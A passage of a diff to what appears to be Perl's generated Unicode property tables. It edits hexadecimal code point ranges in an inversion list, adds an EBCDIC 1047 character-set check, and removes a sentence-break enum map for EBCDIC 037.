+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
+	0x483,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x55D,
+	0x55E,
+	0x561,
+	0x588,
+	0x589,
+	0x58A,
+	0x591,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5C8,
+	0x5D0,
+	0x5EB,
+	0x5F0,
+	0x5F4,
+	0x600,
+	0x606,
+	0x60C,
+	0x60E,
+	0x610,
+	0x61B,
+	0x61C,
+	0x61D,
+	0x61F,
+	0x66A,
+	0x66B,
+	0x66D,
+	0x66E,
+	0x6DE,
+	0x6DF,
+	0x6E9,
+	0x6EA,
+	0x6FD,
+	0x6FF,
+	0x703,
+	0x70F,
+	0x74B,
+	0x74D,
+	0x7B2,
+	0x7C0,
+	0x7F6,
+	0x7F8,
+	0x7FB,
+	0x800,
+	0x82E,
+	0x840,
+	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
+	0x8D4,
+	0x970,
+	0x971,
+	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
+	0x9BC,
+	0x9C5,
+	0x9C7,
+	0x9C9,
+	0x9CB,
+	0x9CF,
+	0x9D7,
+	0x9D8,
+	0x9DC,
+	0x9DE,
+	0x9DF,
+	0x9E4,
+	0x9E6,
+	0x9F2,
+	0x9FC,
+	0x9FD,
+	0xA01,
+	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
+	0xA3C,
+	0xA3D,
+	0xA3E,
+	0xA43,
+	0xA47,
+	0xA49,
+	0xA4B,
+	0xA4E,
+	0xA51,
+	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
+	0xA66,
+	0xA76,
+	0xA81,
+	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
+	0xABC,
+	0xAC6,
+	0xAC7,
+	0xACA,
+	0xACB,
+	0xACE,
+	0xAD0,
+	0xAD1,
+	0xAE0,
+	0xAE4,
+	0xAE6,
+	0xAF0,
+	0xAF9,
+	0xB00,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB70,
+	0xB71,
+	0xB72,
+	0xB82,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
+	0xBD0,
+	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
+	0xC58,
+	0xC5B,
+	0xC60,
+	0xC64,
+	0xC66,
+	0xC70,
+	0xC80,
+	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
+	0xCDE,
+	0xCDF,
+	0xCE0,
+	0xCE4,
+	0xCE6,
+	0xCF0,
+	0xCF1,
+	0xCF3,
+	0xD00,
+	0xD04,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
+	0xD4F,
+	0xD54,
+	0xD58,
+	0xD5F,
+	0xD64,
+	0xD66,
+	0xD70,
+	0xD7A,
+	0xD80,
+	0xD82,
+	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
+	0xE01,
+	0xE3B,
+	0xE40,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
+	0xEBA,
+	0xEBB,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
+	0xF01,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF48,
+	0xF49,
+	0xF6D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
+	0x1000,
+	0x104C,
+	0x1050,
+	0x109E,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
+	0x135D,
+	0x1360,
+	0x1362,
+	0x1363,
+	0x1367,
+	0x1369,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
+	0x1401,
+	0x166D,
+	0x166E,
+	0x169D,
+	0x16A0,
+	0x16EB,
+	0x16EE,
+	0x16F9,
+	0x1700,
+	0x170D,
+	0x170E,
+	0x1715,
+	0x1720,
+	0x1737,
+	0x1740,
+	0x1754,
+	0x1760,
+	0x176D,
+	0x176E,
+	0x1771,
+	0x1772,
+	0x1774,
+	0x1780,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DC,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x1802,
+	0x1804,
+	0x1808,
+	0x180A,
+	0x180B,
+	0x180F,
+	0x1810,
+	0x181A,
+	0x1820,
+	0x1878,
+	0x1880,
+	0x18AB,
+	0x18B0,
+	0x18F6,
+	0x1900,
+	0x191F,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1944,
+	0x196E,
+	0x1970,
+	0x1975,
+	0x1980,
+	0x19AC,
+	0x19B0,
+	0x19CA,
+	0x19D0,
+	0x19DA,
+	0x1A00,
+	0x1A1C,
+	0x1A20,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
+	0x1AA7,
+	0x1AAC,
+	0x1AB0,
+	0x1ABF,
+	0x1B00,
+	0x1B4C,
+	0x1B50,
+	0x1B5C,
+	0x1B5E,
+	0x1B60,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1BF4,
+	0x1C00,
+	0x1C38,
+	0x1C3B,
+	0x1C3D,
+	0x1C40,
+	0x1C4A,
+	0x1C4D,
+	0x1C89,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
+	0x1D00,
+	0x1DFA,
+	0x1DFB,
+	0x1F16,
+	0x1F18,
+	0x1F1E,
+	0x1F20,
+	0x1F46,
+	0x1F48,
+	0x1F4E,
+	0x1F50,
+	0x1F58,
+	0x1F59,
+	0x1F5A,
+	0x1F5B,
+	0x1F5C,
+	0x1F5D,
+	0x1F5E,
+	0x1F5F,
+	0x1F7E,
+	0x1F80,
+	0x1FB5,
+	0x1FB6,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC5,
+	0x1FC6,
+	0x1FCD,
+	0x1FD0,
+	0x1FD4,
+	0x1FD6,
+	0x1FDC,
+	0x1FE0,
+	0x1FED,
+	0x1FF2,
+	0x1FF5,
+	0x1FF6,
+	0x1FFD,
+	0x2000,
+	0x2010,
+	0x2013,
+	0x2015,
+	0x2018,
+	0x2020,
+	0x2024,
+	0x2025,
+	0x2028,
+	0x2030,
+	0x2039,
+	0x203B,
+	0x203C,
+	0x203E,
+	0x2045,
+	0x204A,
+	0x205F,
+	0x2065,
+	0x2066,
+	0x2070,
+	0x2071,
+	0x2072,
+	0x207D,
+	0x2080,
+	0x208D,
+	0x208F,
+	0x2090,
+	0x209D,
+	0x20D0,
+	0x20F1,
+	0x2102,
+	0x2103,
+	0x2107,
+	0x2108,
+	0x210A,
+	0x2114,
+	0x2115,
+	0x2116,
+	0x2119,
+	0x211E,
+	0x2124,
+	0x2125,
+	0x2126,
+	0x2127,
+	0x2128,
+	0x2129,
+	0x212A,
+	0x212E,
+	0x212F,
+	0x213A,
+	0x213C,
+	0x2140,
+	0x2145,
+	0x214A,
+	0x214E,
+	0x214F,
+	0x2160,
+	0x2189,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x24B6,
+	0x24EA,
+	0x275B,
+	0x2761,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2C00,
+	0x2C2F,
+	0x2C30,
+	0x2C5F,
+	0x2C60,
+	0x2CE5,
+	0x2CEB,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0x2D30,
+	0x2D68,
+	0x2D6F,
+	0x2D70,
+	0x2D7F,
+	0x2D97,
+	0x2DA0,
+	0x2DA7,
+	0x2DA8,
+	0x2DAF,
+	0x2DB0,
+	0x2DB7,
+	0x2DB8,
+	0x2DBF,
+	0x2DC0,
+	0x2DC7,
+	0x2DC8,
+	0x2DCF,
+	0x2DD0,
+	0x2DD7,
+	0x2DD8,
+	0x2DDF,
+	0x2DE0,
+	0x2E0E,
+	0x2E1C,
+	0x2E1E,
+	0x2E20,
+	0x2E2A,
+	0x2E2E,
+	0x2E30,
+	0x2E3C,
+	0x2E3D,
+	0x2E42,
+	0x2E43,
+	0x3000,
+	0x3003,
+	0x3005,
+	0x3012,
+	0x3014,
+	0x301C,
+	0x301D,
+	0x3020,
+	0x3021,
+	0x3030,
+	0x3031,
+	0x3036,
+	0x3038,
+	0x303D,
+	0x3041,
+	0x3097,
+	0x3099,
+	0x309B,
+	0x309D,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0x3100,
+	0x3105,
+	0x312F,
+	0x3131,
+	0x318F,
+	0x31A0,
+	0x31BB,
+	0x31F0,
+	0x3200,
+	0x3400,
+	0x4DB6,
+	0x4E00,
+	0x9FEB,
+	0xA000,
+	0xA48D,
+	0xA4D0,
+	0xA4FE,
+	0xA4FF,
+	0xA60D,
+	0xA60E,
+	0xA62C,
+	0xA640,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F3,
+	0xA6F4,
+	0xA6F7,
+	0xA6F8,
+	0xA717,
+	0xA720,
+	0xA722,
+	0xA789,
+	0xA78B,
+	0xA7AF,
+	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA7F8,
-	0xA7FB,
-	0xA802,
-	0xA803,
-	0xA806,
-	0xA807,
-	0xA80B,
-	0xA80C,
-	0xA823,
 	0xA828,
 	0xA840,
 	0xA874,
@@ -78105,14 +340425,10 @@
 	0xA876,
 	0xA878,
 	0xA880,
-	0xA882,
-	0xA8B4,
 	0xA8C6,
 	0xA8CE,
-	0xA8D0,
 	0xA8DA,
 	0xA8E0,
-	0xA8F2,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
@@ -78119,64 +340435,32 @@
 	0xA8FD,
 	0xA8FE,
 	0xA900,
-	0xA90A,
-	0xA926,
 	0xA92E,
 	0xA92F,
-	0xA930,
-	0xA947,
 	0xA954,
 	0xA960,
 	0xA97D,
 	0xA980,
-	0xA984,
-	0xA9B3,
 	0xA9C1,
 	0xA9C8,
 	0xA9CA,
 	0xA9CF,
-	0xA9D0,
 	0xA9DA,
 	0xA9E0,
-	0xA9E5,
-	0xA9E6,
-	0xA9F0,
-	0xA9FA,
 	0xA9FF,
 	0xAA00,
-	0xAA29,
 	0xAA37,
 	0xAA40,
-	0xAA43,
-	0xAA44,
-	0xAA4C,
 	0xAA4E,
 	0xAA50,
 	0xAA5A,
 	0xAA5D,
-	0xAA60,
 	0xAA77,
 	0xAA7A,
-	0xAA7B,
-	0xAA7E,
-	0xAAB0,
-	0xAAB1,
-	0xAAB2,
-	0xAAB5,
-	0xAAB7,
-	0xAAB9,
-	0xAABE,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
 	0xAAC3,
 	0xAADB,
 	0xAADE,
 	0xAAE0,
-	0xAAEB,
-	0xAAF0,
-	0xAAF2,
-	0xAAF5,
 	0xAAF7,
 	0xAB01,
 	0xAB07,
@@ -78193,10 +340477,6 @@
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABC0,
-	0xABE3,
-	0xABEB,
-	0xABEC,
 	0xABEE,
 	0xABF0,
 	0xABFA,
@@ -78215,8 +340495,6 @@
 	0xFB13,
 	0xFB18,
 	0xFB1D,
-	0xFB1E,
-	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -78231,7 +340509,6 @@
 	0xFB46,
 	0xFBB2,
 	0xFBD3,
-	0xFD3E,
 	0xFD40,
 	0xFD50,
 	0xFD90,
@@ -78240,7 +340517,6 @@
 	0xFDF0,
 	0xFDFC,
 	0xFE00,
-	0xFE10,
 	0xFE12,
 	0xFE13,
 	0xFE14,
@@ -78255,12 +340531,8 @@
 	0xFE47,
 	0xFE49,
 	0xFE50,
-	0xFE52,
 	0xFE53,
 	0xFE55,
-	0xFE56,
-	0xFE58,
-	0xFE59,
 	0xFE5F,
 	0xFE63,
 	0xFE64,
@@ -78275,7 +340547,6 @@
 	0xFF08,
 	0xFF0A,
 	0xFF0C,
-	0xFF0E,
 	0xFF0F,
 	0xFF1A,
 	0xFF1B,
@@ -78282,23 +340553,16 @@
 	0xFF1F,
 	0xFF20,
 	0xFF21,
-	0xFF3B,
 	0xFF3C,
 	0xFF3D,
 	0xFF3E,
 	0xFF41,
-	0xFF5B,
 	0xFF5C,
 	0xFF5D,
 	0xFF5E,
 	0xFF5F,
-	0xFF61,
-	0xFF62,
-	0xFF64,
 	0xFF65,
 	0xFF66,
-	0xFF9E,
-	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -78336,10 +340600,9 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
-	0x10376,
 	0x1037B,
 	0x10380,
 	0x1039E,
@@ -78350,8 +340613,6 @@
 	0x103D1,
 	0x103D6,
 	0x10400,
-	0x10428,
-	0x10450,
 	0x1049E,
 	0x104A0,
 	0x104AA,
@@ -78398,12 +340659,10 @@
 	0x109BE,
 	0x109C0,
 	0x10A00,
-	0x10A01,
 	0x10A04,
 	0x10A05,
 	0x10A07,
 	0x10A0C,
-	0x10A10,
 	0x10A14,
 	0x10A15,
 	0x10A18,
@@ -78422,7 +340681,6 @@
 	0x10AC0,
 	0x10AC8,
 	0x10AC9,
-	0x10AE5,
 	0x10AE7,
 	0x10B00,
 	0x10B36,
@@ -78439,18 +340697,12 @@
 	0x10CC0,
 	0x10CF3,
 	0x11000,
-	0x11003,
-	0x11038,
-	0x11047,
 	0x11049,
 	0x11066,
 	0x11070,
 	0x1107F,
-	0x11083,
-	0x110B0,
 	0x110BB,
 	0x110BD,
-	0x110BE,
 	0x110C2,
 	0x110D0,
 	0x110E9,
@@ -78457,8 +340709,6 @@
 	0x110F0,
 	0x110FA,
 	0x11100,
-	0x11103,
-	0x11127,
 	0x11135,
 	0x11136,
 	0x11140,
@@ -78465,21 +340715,14 @@
 	0x11141,
 	0x11144,
 	0x11150,
-	0x11173,
 	0x11174,
 	0x11176,
 	0x11177,
 	0x11180,
-	0x11183,
-	0x111B3,
-	0x111C1,
-	0x111C5,
 	0x111C7,
 	0x111CA,
-	0x111CD,
 	0x111CE,
 	0x111D0,
-	0x111DA,
 	0x111DB,
 	0x111DC,
 	0x111DD,
@@ -78488,8 +340731,6 @@
 	0x11200,
 	0x11212,
 	0x11213,
-	0x1122C,
-	0x11238,
 	0x1123A,
 	0x1123B,
 	0x1123D,
@@ -78504,10 +340745,8 @@
 	0x1128F,
 	0x1129E,
 	0x1129F,
-	0x112A9,
 	0x112AA,
 	0x112B0,
-	0x112DF,
 	0x112EB,
 	0x112F0,
 	0x112FA,
@@ -78526,8 +340765,6 @@
 	0x11335,
 	0x1133A,
 	0x1133C,
-	0x1133D,
-	0x1133E,
 	0x11345,
 	0x11347,
 	0x11349,
@@ -78538,7 +340775,6 @@
 	0x11357,
 	0x11358,
 	0x1135D,
-	0x11362,
 	0x11364,
 	0x11366,
 	0x1136D,
@@ -78545,15 +340781,10 @@
 	0x11370,
 	0x11375,
 	0x11400,
-	0x11435,
-	0x11447,
-	0x1144B,
 	0x1144D,
 	0x11450,
 	0x1145A,
 	0x11480,
-	0x114B0,
-	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
@@ -78560,7 +340791,6 @@
 	0x114D0,
 	0x114DA,
 	0x11580,
-	0x115AF,
 	0x115B6,
 	0x115B8,
 	0x115C1,
@@ -78567,12 +340797,8 @@
 	0x115C2,
 	0x115C4,
 	0x115C9,
-	0x115D8,
-	0x115DC,
 	0x115DE,
 	0x11600,
-	0x11630,
-	0x11641,
 	0x11643,
 	0x11644,
 	0x11645,
@@ -78579,7 +340805,6 @@
 	0x11650,
 	0x1165A,
 	0x11680,
-	0x116AB,
 	0x116B8,
 	0x116C0,
 	0x116CA,
@@ -78592,21 +340817,28 @@
 	0x1173C,
 	0x1173F,
 	0x118A0,
-	0x118C0,
-	0x118E0,
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A42,
+	0x11A44,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
+	0x11A9B,
+	0x11A9D,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
 	0x11C09,
 	0x11C0A,
-	0x11C2F,
 	0x11C37,
 	0x11C38,
-	0x11C40,
-	0x11C41,
 	0x11C43,
 	0x11C50,
 	0x11C5A,
@@ -78616,6 +340848,20 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -78637,14 +340883,10 @@
 	0x16AD0,
 	0x16AEE,
 	0x16AF0,
-	0x16AF5,
 	0x16AF6,
 	0x16B00,
-	0x16B30,
-	0x16B37,
 	0x16B39,
 	0x16B40,
-	0x16B44,
 	0x16B45,
 	0x16B50,
 	0x16B5A,
@@ -78655,19 +340897,19 @@
 	0x16F00,
 	0x16F45,
 	0x16F50,
-	0x16F51,
 	0x16F7F,
 	0x16F8F,
-	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -78677,14 +340919,10 @@
 	0x1BC90,
 	0x1BC9A,
 	0x1BC9D,
-	0x1BC9F,
-	0x1BCA0,
 	0x1BCA4,
 	0x1D165,
 	0x1D16A,
 	0x1D16D,
-	0x1D173,
-	0x1D17B,
 	0x1D183,
 	0x1D185,
 	0x1D18C,
@@ -78693,14 +340931,8 @@
 	0x1D242,
 	0x1D245,
 	0x1D400,
-	0x1D41A,
-	0x1D434,
-	0x1D44E,
 	0x1D455,
 	0x1D456,
-	0x1D468,
-	0x1D482,
-	0x1D49C,
 	0x1D49D,
 	0x1D49E,
 	0x1D4A0,
@@ -78711,7 +340943,6 @@
 	0x1D4A9,
 	0x1D4AD,
 	0x1D4AE,
-	0x1D4B6,
 	0x1D4BA,
 	0x1D4BB,
 	0x1D4BC,
@@ -78718,9 +340949,6 @@
 	0x1D4BD,
 	0x1D4C4,
 	0x1D4C5,
-	0x1D4D0,
-	0x1D4EA,
-	0x1D504,
 	0x1D506,
 	0x1D507,
 	0x1D50B,
@@ -78729,7 +340957,6 @@
 	0x1D516,
 	0x1D51D,
 	0x1D51E,
-	0x1D538,
 	0x1D53A,
 	0x1D53B,
 	0x1D53F,
@@ -78740,18 +340967,6 @@
 	0x1D54A,
 	0x1D551,
 	0x1D552,
-	0x1D56C,
-	0x1D586,
-	0x1D5A0,
-	0x1D5BA,
-	0x1D5D4,
-	0x1D5EE,
-	0x1D608,
-	0x1D622,
-	0x1D63C,
-	0x1D656,
-	0x1D670,
-	0x1D68A,
 	0x1D6A6,
 	0x1D6A8,
 	0x1D6C1,
@@ -78758,28 +340973,22 @@
 	0x1D6C2,
 	0x1D6DB,
 	0x1D6DC,
-	0x1D6E2,
 	0x1D6FB,
 	0x1D6FC,
 	0x1D715,
 	0x1D716,
-	0x1D71C,
 	0x1D735,
 	0x1D736,
 	0x1D74F,
 	0x1D750,
-	0x1D756,
 	0x1D76F,
 	0x1D770,
 	0x1D789,
 	0x1D78A,
-	0x1D790,
 	0x1D7A9,
 	0x1D7AA,
 	0x1D7C3,
 	0x1D7C4,
-	0x1D7CA,
-	0x1D7CB,
 	0x1D7CC,
 	0x1D7CE,
 	0x1D800,
@@ -78812,8 +341021,6 @@
 	0x1E8D0,
 	0x1E8D7,
 	0x1E900,
-	0x1E922,
-	0x1E944,
 	0x1E94B,
 	0x1E950,
 	0x1E95A,
@@ -78899,6 +341106,8 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
 	0x2FA1E,
 	0xE0001,
@@ -78909,3017 +341118,15 @@
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* ASCII/Latin1 */
 
-#if defined(PERL_IN_REGEXEC_C)
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-#define SB_ENUM_COUNT 16
-
-typedef enum {
-	SB_Other = 0,
-	SB_ATerm = 1,
-	SB_CR = 2,
-	SB_Close = 3,
-	SB_Extend = 4,
-	SB_Format = 5,
-	SB_LF = 6,
-	SB_Lower = 7,
-	SB_Numeric = 8,
-	SB_OLetter = 9,
-	SB_SContinue = 10,
-	SB_STerm = 11,
-	SB_Sep = 12,
-	SB_Sp = 13,
-	SB_Upper = 14,
-	SB_EDGE = 15
-} SB_enum;
-
-static const SB_enum _Perl_SB_invmap[] = { /* for EBCDIC 037 */
-	SB_Other,
-	SB_Sp,
-	SB_Other,
-	SB_Sp,
-	SB_CR,
-	SB_Other,
-	SB_Sep,
-	SB_Other,
-	SB_LF,
-	SB_Other,
-	SB_Sp,
-	SB_Lower,
-	SB_Other,
-	SB_ATerm,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Lower,
-	SB_STerm,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_STerm,
-	SB_Lower,
-	SB_Upper,
-	SB_Other,
-	SB_SContinue,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Upper,
-	SB_Lower,
-	SB_Close,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Close,
-	SB_Other,
-	SB_Close,
-	SB_Upper,
-	SB_Format,
-	SB_Lower,
-	SB_Close,
-	SB_Upper,
-	SB_Other,
-	SB_Lower,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Numeric,
-	SB_Other,
-	SB_Upper,
-	SB_Other,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_Upper,
-	SB_Lower,
-	SB_OLetter,
